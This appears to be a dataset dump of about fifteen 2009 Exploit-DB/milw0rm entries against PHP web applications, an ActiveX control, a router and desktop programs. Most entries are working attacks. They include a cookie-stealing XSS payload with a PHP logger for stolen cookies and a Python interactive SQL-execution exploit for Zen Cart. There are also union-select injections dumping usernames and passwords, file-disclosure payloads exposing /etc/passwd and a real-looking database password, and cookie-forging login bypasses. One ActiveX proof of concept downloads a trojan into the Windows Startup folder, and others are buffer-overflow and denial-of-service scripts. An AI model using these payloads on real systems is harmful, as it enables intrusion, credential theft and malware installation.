QLWD/code_shield huggingface dataset:
标题: PHPEcho CMS 2.0-rc3 - 'forum' Cross-Site Scripting Cookie Stealing / Blind SQL Injection EDB-ID: 9014 CVE: 2009-2402 2009-2401 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-24 漏洞利用脚本: PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing / Blind Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=186100

~ [XSS]

  The forum allowed insert javascript code and html code.

  PoC:
  "><h1>0wned</h1>
  "><script>alert("JosS b0x");</script>
  
  -----------  

  Cookie Stealing:
  <script>window.location=Â’http://127.0.0.1/stealing.php?cookie=Â’+document.cookie</script>

  stealing.php
  <?php
  $archivo = fopen('log.htm','a');
  $cookie = $_GET['c'];
  $usuario = $_GET['id']; 
  $ip = getenv ('REMOTE_ADDR');
  $re = $HTTPREFERRER;

  $fecha=date("j F, Y, g:i a");
  fwrite($archivo, '<hr>USER and PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> 

  IP: ' .$ip. '<br> Date and Time: ' .$fecha. '</hr>');
  fclose($archivo);
  ?>

~ [BLIND]

  PoC:
  /index.php?module=forum&show=thread&id=1 and 1=2 [False]
  /index.php?module=forum&show=thread&id=1 and 1=1 [True]

  /index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=5
  /index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=4



__h0__

# milw0rm.com [2009-06-24] URL: https://www.exploit-db.com/exploits/9014
标题: Zen Cart 1.3.8 - SQL Execution EDB-ID: 9005 CVE: 2009-2254 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-23 漏洞利用脚本: #!/usr/bin/python

#
# ------- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#

#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
# DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = '8d317.php' LIMIT 1);
# DELETE FROM `record_company` WHERE `record_company_image` = '8d317.php';

import urllib, urllib2, re, sys

a,b = sys.argv,0

def option(name, need = 0):
 global a, b
 for param in sys.argv:
  if(param == '-'+name): return str(sys.argv[b+1])
  b = b + 1
 if(need):
  print '\n#error', "-"+name, 'parameter required'
  exit(1)

if (len(sys.argv) < 2):
 print """
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
========================================================================
|                  BlackH <Bl4ck.H@gmail.com>                          |
========================================================================
|                                                                      |
| $system> python """+sys.argv[0]+""" -url <url>                                 |
| Param: <url>      ex: http://victim.com/site (no slash)              |
|                                                                      |
| Note: blind "injection"                                              |
========================================================================
 """
 exit(1)
 
url, trick = option('url', 1), "/password_forgotten.php"

while True:
 cmd = raw_input('sql@jah$ ') 
 if (cmd == "exit"): exit(1)
 req = urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute", urllib.urlencode({'query_string' : cmd}))
 if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
  print '>> success (', cmd, ")"
 else:
  print '>> failed, be sure to end with ; (', cmd, ")"

# milw0rm.com [2009-06-23] URL: https://www.exploit-db.com/exploits/9005
标题: RS-CMS 2.1 - 'key' SQL Injection EDB-ID: 9000 CVE: 2009-2209 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-22 漏洞利用脚本: =======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :RS-CMS 2.1 (rscms_mod_newsview.php key) Remote SQL Injection Vulnerability

[+] Found by : Mr.tro0oqy 
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
BUGS
====

Sql Injections:
rscms_mod_newsview.php?key=-4+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15+from+users--

DEMO
====
http://www.rs-cms.com/rscms_mod_newsview.php?key=-4+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15+from+users--


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
all my Friends

# milw0rm.com [2009-06-22] URL: https://www.exploit-db.com/exploits/9000
标题: Kasseler CMS - File Disclosure / Cross-Site Scripting EDB-ID: 8997 CVE: 2009-2229 2009-2228 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-22 漏洞利用脚本: #X      X 
# X    X       A      K  KK  NN    N  EEEEEE  TTTTTTTT
#  X  X       A A     K K    N N   N  E          TT  
#   XX       AAAAA    KK     N  N  N  EEE        TT
#  X  X     A     A   K K    N   N N  E          TT
# X    X   A       A  K  KK  N    NN  EEEEEE     TT
#X      X 

Author: S(r1pt - xaknet.ru
GreetZ to all users xaknet.ru, especial: baltazar, Saint, X1mer@, Trash, Ic3, G1yuk, NEXGEN, ErrNick, deface and other ..

###
Kasseler-Cms (Reafile/XSS) Multiple Remote Vulnerabilities
Site author: kasseler-cms.net
###

Readfile:
http://www.kasseler-cms.net/engine.php?do=download&file=../includes/config/configdb.php :
<?php
/**********************************************/
/* Kasseler CMS: Content Management System    */
/**********************************************/
/*                                            */
/* Copyright (c)2007-2009 by Igor Ognichenko  */
/* http://www.kasseler-cms.net/               */
/*                                            */
/**********************************************/

if (!defined('FUNC_FILE')) die('Access is limited');

$database = array(
    'host'                => 'localhost',
    'user'                => 'kasseler_robin',
    'password'            => 'cs010488oia',
    'name'                => 'kasseler_cms',
    'prefix'              => 'kasseler',
    'type'                => 'mysql',
    'charset'             => 'cp1251',
    'cache'               => '',
    'sql_cache_clear'     => 'INSERT,UPDATE,DELETE',
    'no_cache_tables'     => 'sessions'
);
?>

vulnerability in engine.php:
function download(){
global $config;      
    require_once "includes/class/download.php";
    $file = "uploads/".$_GET['file']; #here =)
    $download = new file_download($file, 0, 1024);
    $download->download();
}

AND XSS bonus:
http://www.kasseler-cms.net/engine.php?do=redirect&url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnRmluZWQgYnkgUyhyMXB0LCDQsNCz0LAuJyk7PC9zY3JpcHQ+ 

# milw0rm.com [2009-06-22] URL: https://www.exploit-db.com/exploits/8997
标题: Gravy Media Photo Host 1.0.8 - Local File Disclosure EDB-ID: 8996 CVE: 2009-2184 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-22 漏洞利用脚本: ==================================================================
=========Gravy Media Photo Host 1.0.8 Local File Inclusion========
==================================================================

Vendor:http://www.gravy-media.com/
Download:register to download
Dork:"Powered by Gravy Media"
Discovered By:Lo$er

====Vulnerable code(forcedownload.php)====
27. $filename = $_GET['file'];

70. readfile("$filename");
====Demo====

http://www.gravy-media.com/v108/forcedownload.php?file=%2Fetc%2Fpasswd

# milw0rm.com [2009-06-22] URL: https://www.exploit-db.com/exploits/8996
标题: MIDAS 1.43 - (Authentication Bypass) Insecure Cookie Handling EDB-ID: 8987 CVE: 2009-2231 类型: WEBAPPS 平台: CGI 发布日期: 2009-06-22 漏洞利用脚本: --------------------------------------------

MIDAS Insecure Cookie Handling Vulnerability

--------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: MIDAS

Home...: http://mid.as

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";

Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0

-------------------------------------------------------------------------------------------------

Demo...: http://demo.mid.as

Panel..: http://demo.mid.as/level1.pl?x=0

-----------------------------------------

Greetz.: ~ Jiko ~ Sniper Code

-----------------------------

# milw0rm.com [2009-06-22] URL: https://www.exploit-db.com/exploits/8987
标题: AWScripts Gallery Search Engine 1.x - Insecure Cookie EDB-ID: 8994 CVE: 2009-2233 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-22 漏洞利用脚本: #################################################################################################################
[+] AWScripts.com Gallery Search Engine 1.5 Remote Cookie Insecure
[+] Discovered By TiGeR-Dz
#################################################################################################################
Cookie Insecure
+++++++++++++++++++++++++
javascript:document.cookie="awse_logged=1;path=/";
Demo
----
http://www.awscripts.com/demo_se/awse/awse_admin/index.php
################################################################################################################


# milw0rm.com [2009-06-22] URL: https://www.exploit-db.com/exploits/8994
标题: phpDatingClub 3.7 - SQL Injection / Cross-Site Scripting Injection EDB-ID: 8990 CVE: 2009-2179 2009-2178 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-22 漏洞利用脚本: ###################################################################
###################################################################
phpDatingClub v 3.7(ansubdepartments_id) SQL/XSS Injection Vulnerability    
Note: Algeria 2-0 Zambia
###################################################################
Founder : ThE g0bL!N
Home:WwW.Snakespc.CoM
More info:http://www.w2b.ru/webapp.php?cat=phpDatingClub
###################################################################
###################################################################
SQL Injection Vulnerability  
###################################################################
Exploit
###################################################################
Http://www.site.com/phpDatingClub/search.php?mode=day&sform%5Bday%5D=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44--
Xss
website.php?page=%3Cscript%3Ealert(0)%3C/script%3E
Demo
----
http://www.w2b.ru/demo/phpDatingClub/
######################################################################
Greeting : Super_Ctistal (My Master)  And all Muslims&algerian Hackers

# milw0rm.com [2009-06-22] URL: https://www.exploit-db.com/exploits/8990
标题: PHPortal 1.0 - Insecure Cookie Handling EDB-ID: 8981 CVE: 2009-2117 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-17 漏洞利用脚本: ########################################################
PhpPortal v1 Insecure Cookie Handling Vulnerability
########################################################

Author : KnocKout
Special Thankz : CW All users
Script : http://phportal.mertindualari.com

########################################################

Exploit;

javascript:document.cookie="kulladi=[Username];path=/";
Enter..

Go To; http://target.com/uye_paneli.php?islem=bilgilerim


########################################################

# milw0rm.com [2009-06-17] URL: https://www.exploit-db.com/exploits/8981
标题: Edraw PDF Viewer Component < 3.2.0.126 - ActiveX Insecure Method EDB-ID: 8986 CVE: 2009-2169 类型: REMOTE 平台: WINDOWS 发布日期: 2009-06-18 漏洞利用脚本: Edraw PDF Viewer Component ActiveX Remote code execution vulnerability

By Jambalaya of Nevis Labs
Date: 2009.06.16

Vender:
EdrawSoft

Affected:
Edraw PDF Viewer Component < 3.2.0.126
*other version may also be affected

Overview:
"Edraw PDF Viewer Component is a light weight ActiveX Control which
enables your application to display and interact with PDF files.It is
identical to Adobe Reader program and adds high speed viewing of PDF
documents to your applications easily." For more information, see the
vendor's site found at the following link: http://www.ocxt.com

Details:
The specific flaws exists in pdfviewer.ocx ActiveX control.Succssfully
exploiting this vulnerability allows attackers to execute arbitrary code
on vulnerable installation. The vulnerability exists due to FtpConnect()
function, which could download any file from remote FTP server and put
on user's disk.Malicious user could download trojan and put into
"startup" folder so that the trojan will run up when user's computer
restart. Successful exploitation requires that the target user browse to
a malicious web page.

Proof of Concept:
<html>
<body>
<BR><object classid="clsid:44A8091F-8F01-43B7-8CF7-4BBA71E61E04" id="target" width="67" height="50" codebase="http://www.ocxt.com/download/officeviewer.cab#6,0,612,1"></object>
<BR><BR>
<script language="vbscript">
target.FtpConnect "ftp://192.168.220.201", "test", "tester"
target.FtpDownloadFile "trojan.exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\trojan.exe"
target.FtpDisConnect 
</script> 
</body>
</html>

Workaround:
Set a killbit for this ActiveX.

Vendor Response:
2009.06.16 Vendor notified via email
2009.06.17 Vendor respond, and release patch

# milw0rm.com [2009-06-18] URL: https://www.exploit-db.com/exploits/8986
标题: Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) EDB-ID: 8982 CVE: 2009-2286 类型: DOS 平台: LINUX 发布日期: 2009-06-17 漏洞利用脚本: #!/usr/bin/perl
#########################################################################
####VIVA#ISLAM##################################################ALLAH####
#########################################################################
# compface <= 1.5.2 bufer overflow p o c
# vuln only excist on debian and ubuntu? - packages.debian.org/compface -
# author: metalhoney ------- metalhoney1@hotmail.com -------
#########################################################################
open(ISLAM,">allah.xbm") or die;
print ISLAM "#define noname_width 48\n#define noname_height 48\n";
print ISLAM "static ";
print ISLAM "A"x184;
print ISLAM " char = {\n";
close(ISLAM) or die;
print "run now: compface allah.xbm\nmetalhoney signing off\nviva islam\n";
#########################################################################
####VIVA#ISLAM##################################################ALLAH####
#########################################################################

# milw0rm.com [2009-06-17] URL: https://www.exploit-db.com/exploits/8982
标题: PHPFK 7.03 - 'page_bottom.php' Local File Inclusion EDB-ID: 8975 CVE: 2009-2112 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-17 漏洞利用脚本: =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script: phpFK - PHP Forum
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.frank-karau.de/download.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
xpl:
path/include/page_bottom.php?_FORUM[settings_design_style]={[(local_file)]}%00

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

# milw0rm.com [2009-06-17] URL: https://www.exploit-db.com/exploits/8975
标题: Carom3D 5.06 - Unicode Buffer Overrun/Denial of Service EDB-ID: 8971 CVE: 2009-2173 类型: DOS 平台: WINDOWS 发布日期: 2009-06-16 漏洞利用脚本: #!/usr/bin/perl
#
# Title: Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#
#
# Summary: Carom 3D is an online multi-user billiard game created with special
#    3D graphic effects bringing every aspect such as 6 ball, 9 ball, 8
#    ball and other Billiard games to life.
#
# Product Web Page: http://www.carom3d.com/
#
# Description: The world famous korean game Carom3D suffers from a buffer overflow
#        and a denial of service vulnerability. The BoF is triggered at
#        runtime when we append 218 > bytes as an argument. ~1000 bytes
#        overwrites SEH. The denial of service is triggered when a user
#        creates a LAN Game (cred. needed), creates a room and awaits
#        other players to join the game. While awaiting (listening on port
#        28012), with a simple HTTP GET/POST, an attacker can lockdown
#        the GUI of the user created the room, not alowing to start or
#        even exit the game's GUI, unless forced quit (X).
#
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 15.06.2009
#

# ----------------------------------DoS---------------------------------- #

use LWP::Simple;

my $url = 'http://192.168.1.3:28012';
my $lockdown = get $url;
die "Couldn't get $url" unless defined $lockdown;

# You can Ctrl+C, the lockdown is ON.

# ---------------------------------/DoS---------------------------------- #





###########################################################################





# ----------------------------------BoF---------------------------------- #

# Added 217 bytes as argument = runs normally.
# Added 218 bytes as argument triggers the MS VC++ Runtime Library
# 'Buffer Overrun' error msg box informing us that the program's
# internal state is corrupted.

system('C:\\Progra~1\\Neoact\\Carom3D\\carom.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

# ---------------------------------/BoF---------------------------------- #

# milw0rm.com [2009-06-16] URL: https://www.exploit-db.com/exploits/8971
标题: vBulletin Radio and TV Player AddOn - HTML Injection EDB-ID: 8965 CVE: 2009-2172 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: vBulletin Radio and TV Player Add-On (all version) - XSS , Iframe injection and Redirect Vulnerability 

About:- 

Radio and TV Add-on will add a radio and TV library to your forum.

Features:- 

- Users can add / delete / edit own stations

For more info about this plugin See - http://www.vbulletin.org/forum/showthread.php?t=152037&page=2 

Note:-  
 
- To exploit this Bug need to be registred!and after you are registered you can add new radio station
  where name station can be "><script>alert(String.fromCharCode(88,83,83))</script>  
  and URL "><script>alert(String.fromCharCode(88,83,83))</script>
 

Poc: XSS 

http://www.musicadigitale.net/forum/radioandtv.php?station=92 
 
Poc: Iframe 
 
http://www.musicadigitale.net/forum/radioandtv.php?station=93 
 
Poc: Redirect 
 
http://www.musicadigitale.net/forum/radioandtv.php?station=94

dorks:- inurl:radioandtv.php 

Bug founded by d3v1l [Avram Marius] 
 
Date: 14.06.2009 

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8965
标题: Netgear DG632 Router - Remote Denial of Service EDB-ID: 8964 CVE: 2009-2256 类型: DOS 平台: HARDWARE 发布日期: 2009-06-15 漏洞利用脚本: Product Name: Netgear DG632 Router
Vendor: http://www.netgear.com
Date: 15 June, 2009
Author: tom@tomneaves.co.uk < tom@tomneaves.co.uk >
Original URL: http://www.tomneaves.co.uk/Netgear_DG632_Remote_DoS.txt
Discovered: 18 November, 2006
Disclosed: 15 June, 2009

I. DESCRIPTION

The Netgear DG632 router has a web interface which runs on port 80.  This
allows an admin to login and administer the device's settings.  However,
a Denial of Service (DoS) vulnerability exists that causes the web interface
to crash and stop responding to further requests.

II. DETAILS

Within the "/cgi-bin/" directory of the administrative web interface exists a
file called "firmwarecfg".  This file is used for firmware upgrades.  A HTTP POST
request for this file causes the web server to hang.  The web server will stop
responding to requests and the administrative interface will become inaccessible
until the router is physically restarted.

While the router will still continue to function at the network level, i.e. it will
still respond to ICMP echo requests and issue leases via DHCP, an administrator will
no longer be able to interact with the administrative web interface.

This attack can be carried out internally within the network, or over the Internet
if the administrator has enabled the "Remote Management" feature on the router.

Affected Versions: Firmware V3.4.0_ap (others unknown)

III. VENDOR RESPONSE

12 June, 2009 - Contacted vendor.
15 June, 2009 - Vendor responded.  Stated the DG632 is an end of life product and is no
longer supported in a production and development sense, as such, there will be no further
firmware releases to resolve this issue.

IV. CREDIT

Discovered by Tom Neaves

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8964
标题: Fuzzylime CMS 3.03a - Local Inclusion / Arbitrary File Corruption EDB-ID: 8978 CVE: 2009-2177 2009-2176 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-17 漏洞利用脚本: +------------------------------------------------------------------------+
| fuzzylime cms <= 3.03a local inclusion / arbitrary file corruption poc |
+-----------+------------------------------------------------------------+
| by staker | 
+-----------+---------------------+
| mail: staker[at]hotmail[dot]it  |
| url: http://cms.fuzzylime.co.uk |
+---------------------------------+    


[1][LFI]

http://[target]/[path]/code/confirm.php?e[]&list= { file + nullbyte }

Vulnerable code: confirm.php (local file inclusion mq=off)
-----------------------------------------------------------------
 1. <?
 2. @extract($HTTP_GET_VARS);  <-------- {1} 
 3. @extract($_GET);           <----------^
      
27.  elseif(isset($e)) { <------- {2}
28.       $filename = "code/mailing/$list.inc.php"; <------- {3}
29.        @include $filename; <------- {4}
-----------------------------------------------------------------
1. extract() allows to overwrite any not-defined variable via get  
   therefore it works regardless of register_globals settings.
       
2. $e is a variable not defined,therefore become $_GET['e']     
3. $list is a variable not defined,therefore become $_GET['list']
4. $filename contains $list variable that will be required
-----------------------------------------------------------------


[2][LFI]

http://[target]/[path]/code/display.php?template= {file + nullbyte}

Vulnerable code: display.php (local file inclusion mq=0 & reg=on)
--------------------------------------------------------------------
98. if($_GET['print'] != "1") include "templates/${template}_f.php";
--------------------------------------------------------------------




[3][LFC]

http://[target]/[path]/code/display.php?usecache=1&s=....//settings 
http://[target]/[path]/code/display.php?usecache=1&s={file + nullbyte}(mq = off)

Vulnerable code: display.php (local file corruption register_gl=1)
-----------------------------------------------------------------
  1. <?
  2. $s = $_GET[s];
  3. $p = $_GET[p];
  4. $s = str_replace("../", "", $s); <---------- {1}
  5. $p = str_replace("../", "", $p);
 ...
 54. $cachefile = "cache/${s}_${p}_$_GET[m]_$_GET[c]_$_GET[t]_$_GET[u]_$_GET[print].cache.htm"; <---- {2}
100. if($usecache == "1" && $passprot != "1" && $s != "rss" && empty($_GET[msg]) && empty($_GET[tn])) { <--- {3}
101.  if($handle = fopen($cachefile, 'w')) { // Create the cache file <-------- {4}
102.   $output = ob_get_contents();
103.   fputs($handle, $output); 
104.
105.   fclose($handle); 
106.  } 
107. }
----------------------------------------------------------------------
1. you have to use ....// to change directory because of 1st point. so
   ....// will be ../
2. $cachefile contains $s variable
3. if $usecache == 1 we will go ahead
4. you will overwrite a file typing the name via $s variable.
-----------------------------------------------------------------------  

[x] http://www.youtube.com/watch?v=h3DQmJOkSY0

# milw0rm.com [2009-06-17] URL: https://www.exploit-db.com/exploits/8978